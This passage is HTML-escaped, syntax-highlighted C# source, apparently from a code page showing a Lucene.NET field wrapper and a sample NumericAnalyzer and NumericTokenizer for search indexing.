class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;225&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;226&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;227&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;bool&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IsBinary&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;228&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;229&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;foreach&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;f&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_fields&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;230&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(!&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;f&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;IsBinary&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;())&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;false&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;231&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;232&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;233&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;234&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;235&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;bool&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;GetOmitNorms&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;236&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;237&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;foreach&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;f&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_fields&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;238&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(!&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;f&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;GetOmitNorms&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;())&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;false&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;239&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;240&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;241&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;242&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;243&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;SetOmitNorms&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;bool&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;omitNorms&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;244&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;245&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;throw&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Exception&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;The method or operation is not implemented.&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;246&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;247&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;248&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;void&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;SetOmitTf&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;bool&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;omitTf&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;249&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;250&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;throw&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Exception&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;The method or operation is not implemented.&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;251&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;252&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;253&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;bool&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;GetOmitTf&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;254&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;255&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;foreach&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;var&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;f&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_fields&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;256&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(!&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;f&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;GetOmitTf&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;())&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;false&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;257&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;258&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;259&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;260&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;261&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;bool&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IsLazy&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;262&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;263&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;//foreach (var f in _fields)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;264&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;//    if (!f.GetOmitNorms()) return false;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;265&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;266&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;267&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;268&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;269&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;GetBinaryOffset&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;270&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;271&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;m&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;272&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;273&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;274&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;int&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;GetBinaryLength&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;275&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;276&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;BinaryValue&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;().&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Length&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;277&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;278&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;279&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;byte&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[]&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;GetBinaryValue&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;280&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;281&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;BinaryValue&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;282&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;283&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;284&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;byte&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[]&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;GetBinaryValue&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;byte&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[]&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;result&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;285&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;286&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;throw&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Exception&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;The method or operation is not implemented.&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;287&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;288&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;289&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;err&#34;&gt;#&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;endregion&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;290&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;291&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;292&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;c1&#34;&gt;// this is just an example to show a different kind of token stream.. &lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;293&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;nc&#34;&gt;NumericAnalyzer&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Analyzer&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;294&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;295&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;override&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;TokenStream&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;TokenStream&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;fieldName&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;System&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;IO&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;TextReader&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;reader&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;296&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;297&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;NumericTokenizer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;reader&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;298&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;299&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;300&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;301&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;nc&#34;&gt;NumericTokenizer&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;CharTokenizer&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;302&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;303&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;NumericTokenizer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;TextReader&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;input&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;304&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;base&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;input&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span 